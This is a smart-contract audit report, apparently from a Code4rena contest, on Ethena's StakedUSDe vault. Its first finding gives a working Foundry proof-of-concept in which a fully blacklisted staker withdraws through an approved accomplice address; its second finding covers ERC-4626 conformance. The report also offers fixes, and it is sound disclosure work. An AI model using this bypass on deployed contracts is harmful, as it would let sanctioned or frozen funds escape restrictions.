Ethena Labs - degensec's results

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L217-L238

Vulnerability details

Impact

If a user is fully blacklisted they can circumvent the withdraw/redeem restrictions by approving a fresh address for their balance of StakedUSDe vault shares and withdrawing via the new address.

Proof of Concept

StakedUSDe.sol implements a blacklisting mechanism, where a special BLACKLIST_MANAGER_ROLE can add and remove addresses to a blacklist. User can be soft-blacklisted with the SOFT_RESTRICTED_STAKER_ROLE or fully blacklisted with the FULL_RESTRICTED_STAKER_ROLE. The latter "prevents an address to transfer, stake, or unstake" (from in-code documentation).

While a fully blacklisted STAKER cannot withdraw directly, they can circumvent the restrictions in the following steps:

• Create a fresh address, let's call it ACCOMPLICE (not restricted by default)
• Approve ACCOMPLICE to spend STAKER's StakedUSDe vault shares.
• ACCOMPLICE calls withdraw for the amount with receiver=ACCOMPLICE, owner=STAKER
• ACCOMPLICE transfers the received USDe to the staker

The following Foundry test that demonstrates the vulnerability. Copy the source to a new file in the project diretory: test/foundry/EvadeRestrictionPoC.t.sol

// Path: test/foundry/EvadeRestrictionPoC.t.sol
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19;

import "forge-std/Test.sol";
import {StakedUSDe} from "../../contracts/StakedUSDe.sol";
import {IStakedUSDe} from "../../contracts/interfaces/IStakedUSDe.sol";
import {USDe} from "../../contracts/USDe.sol";

contract EvadeRestrictionPoC is Test {
    address constant OWNER = address(2000);
    address constant BLACKLISTER = address(3000);
    address constant STAKER = address(4000);
    address constant ACCOMPLICE = address(5000);

    bytes32 constant FULL_RESTRICTED_STAKER_ROLE = keccak256("FULL_RESTRICTED_STAKER_ROLE");
    bytes32 constant BLACKLIST_MANAGER_ROLE = keccak256("BLACKLIST_MANAGER_ROLE");

    USDe usdeToken;
    StakedUSDe stakedUSDe;

    function setUp() public {
        usdeToken = new USDe(address(this));
        usdeToken.setMinter(address(this));
        vm.startPrank(OWNER);
        stakedUSDe = new StakedUSDe(usdeToken, OWNER, OWNER);
        stakedUSDe.grantRole(BLACKLIST_MANAGER_ROLE, BLACKLISTER);
        vm.stopPrank();
    }

    function test_poc() public {
        // 1. STAKER mints and stakes 5 USDe
        usdeToken.mint(STAKER, 5 ether);
        vm.startPrank(STAKER);
        usdeToken.approve(address(stakedUSDe), 5 ether);
        stakedUSDe.deposit(5 ether, STAKER);
        vm.stopPrank();

        // 2. STAKER is fully blacklisted from the staking contract
        vm.prank(BLACKLISTER);
        stakedUSDe.addToBlacklist(STAKER, true);
        assertTrue(stakedUSDe.hasRole(FULL_RESTRICTED_STAKER_ROLE, STAKER));

        // 3. STAKER cannot withdraw himself
        vm.prank(STAKER);
        vm.expectRevert(abi.encodeWithSelector(IStakedUSDe.OperationNotAllowed.selector));
        stakedUSDe.withdraw(1 ether, STAKER, STAKER);

        // 4. However STAKER enlists his unrestricted ACCOMPLICE to withdraw on his behalf
        uint256 balanceBefore = usdeToken.balanceOf(STAKER);
        // Approve ACCOMPLICE to spend stakedUSDe shares
        vm.prank(STAKER);
        stakedUSDe.approve(ACCOMPLICE, type(uint256).max);

        // ACCOMPLICE successfully withdraws STAKER's shares
        vm.startPrank(ACCOMPLICE);
        stakedUSDe.withdraw(1 ether, ACCOMPLICE, STAKER);
        usdeToken.transfer(STAKER, usdeToken.balanceOf(ACCOMPLICE));
        uint256 balanceAfter = usdeToken.balanceOf(STAKER);

        console2.log("STAKER USDe balance: %s -> %s", balanceBefore, balanceAfter);
    }
}

Run the PoC with forge test --mc EvadeRestrictionPoC -vvv to get the following output:

Logs:
  STAKER USDe balance: 0 -> 1000000000000000000

Discussion and Mitigation

StakedUSDe.sol overrides the OpenZeppelin ERC20 _beforeTokenTransfer hook as such:

function _beforeTokenTransfer(address from, address to, uint256) internal virtual override(ERC20) {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, from) && to != address(0)) {
      revert OperationNotAllowed();
    }
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, to)) {
      revert OperationNotAllowed();
    }
  }

Note that a transfer from a fully restricted staker to address(0) is allowed. This is equivalent to the ERC20 burn operation, which is exactly what's performed during the ERC4626 withdraw, so the hook does not revert in that case. I assume the reason for the special case in the hook is so that the owner can burn the blacklisted staker's balance. However, this is exactly what enables this vulnerability.

Mitigation

To mitigate this vulnerability, modify the internal _withdraw method to revert if the supplied owner has the FULL_RESTRICTED_STAKER_ROLE in the same way it is done for caller and receiver.

Notes

The README.md describes the intended purpose of FULL_RESTRCITED_STAKER_ROLE

FULL_RESTRCITED_STAKER_ROLE is for sanction/stolen funds, or if we get a request from law enforcement to freeze funds. Addresses fully restricted cannot move their funds, and only Ethena can unfreeze the address. Ethena also have the ability to repossess funds of an address fully restricted. We understand having the ability to freeze and repossess funds of any address Ethena choose could be a cause of concern for defi users decisions to stake USDe. While we aim to make our operations as secure as possible, interacting with Ethena still requires a certain amount of trust in our organisation outside of code on the smart contract, given the tie into cefi to earn yield.

Tools Used

Manual review, Foundry

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L196-L215 https://github.com/code-423n4/2023-10-ethena/blob/main/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sol#L112-L120

Vulnerability details

Impact

StakedUSDe.sol does not conform to ERC4626 which may break external integrations.

Proof of Concept

ERC-4626 defines the methods maxDeposit, maxMint, maxWithdraw, maxRedeem, which take an address as a parameter and return the maximum amount of assets/shares that can be deposited/withdrawn for that address.

The ERC-4626: Tokenized Vaults specification says that maxDeposit:

MUST return the maximum amount of assets deposit would allow to be deposited for receiver and not cause a revert, which MUST NOT be higher than the actual maximum that would be accepted (it should underestimate if necessary); MUST factor in both global and user-specific limits, like if deposits are entirely disabled (even temporarily) it MUST return 0.

The same applies analogously for the returned value from maxMint, maxWithdraw, and maxRedeem.

Deposit/Mint

StakedUSDe.sol inherits from OpenZeppelin's ERC4626.sol which implements maxDeposit and maxMint to return the value type(uint256).max, which has the special meaning in the spec that there is no limit on the maximum assets/share that can be deposited/minted.

However, StakedUSDe.sol overrides the OZ ERC4626 _deposit function and restrictions during depositing and minting (Github link).

// File: StakedUSDe.sol
  function _deposit(address caller, address receiver, uint256 assets, uint256 shares)
    internal
    override
    nonReentrant
    notZero(assets)
    notZero(shares)
  {
    if (hasRole(SOFT_RESTRICTED_STAKER_ROLE, caller) || hasRole(SOFT_RESTRICTED_STAKER_ROLE, receiver)) {
      revert OperationNotAllowed();
    }
    super._deposit(caller, receiver, assets, shares);
    _checkMinShares();
  }

If the receiver is restricted with the SOFT_RESTRICTED_STAKER_ROLE, then the maximum assets/shares that can be deposited/minted is 0. This would fall under the user-specific limits category in the ERC4626 specification.

Therefore maxDeposit and maxMint should return 0 if receiver has role SOFT_RESTRICTED_STAKER_ROLE.

Withdraw/Redeem

Note that there is not a bug with the implementation of maxRedeem and maxWithdraw. While _withdraw may revert if there are restrictions on the caller and receiver, as far as the spec is concerned, only limits on the onwer of the assets/shares are considiered. The owner can still withdraw/redeem all of their balance.

Tools Used

Manual review, ERC-4626: Tokenized Vaults specification

Similar Issues from Previous Contests

• 2022-06-notional-coop
• 2022-12-gogopool
• 2023-07-pooltogether

Recommended Mitigation Steps

Override the OZ implementation of maxDeposit and maxMint to reflect the possible restrictions in _deposit:

    function maxDeposit(address receiver) public view override returns (uint256) {
        if (hasRole(SOFT_RESTRICTED_STAKER_ROLE, receiver)) return 0;
        return type(uint256).max;
    }

    function maxMint(address receiver) public view override returns (uint256) {
        if (hasRole(SOFT_RESTRICTED_STAKER_ROLE, receiver)) return 0;
        return type(uint256).max;
    }

Assessed type

ERC4626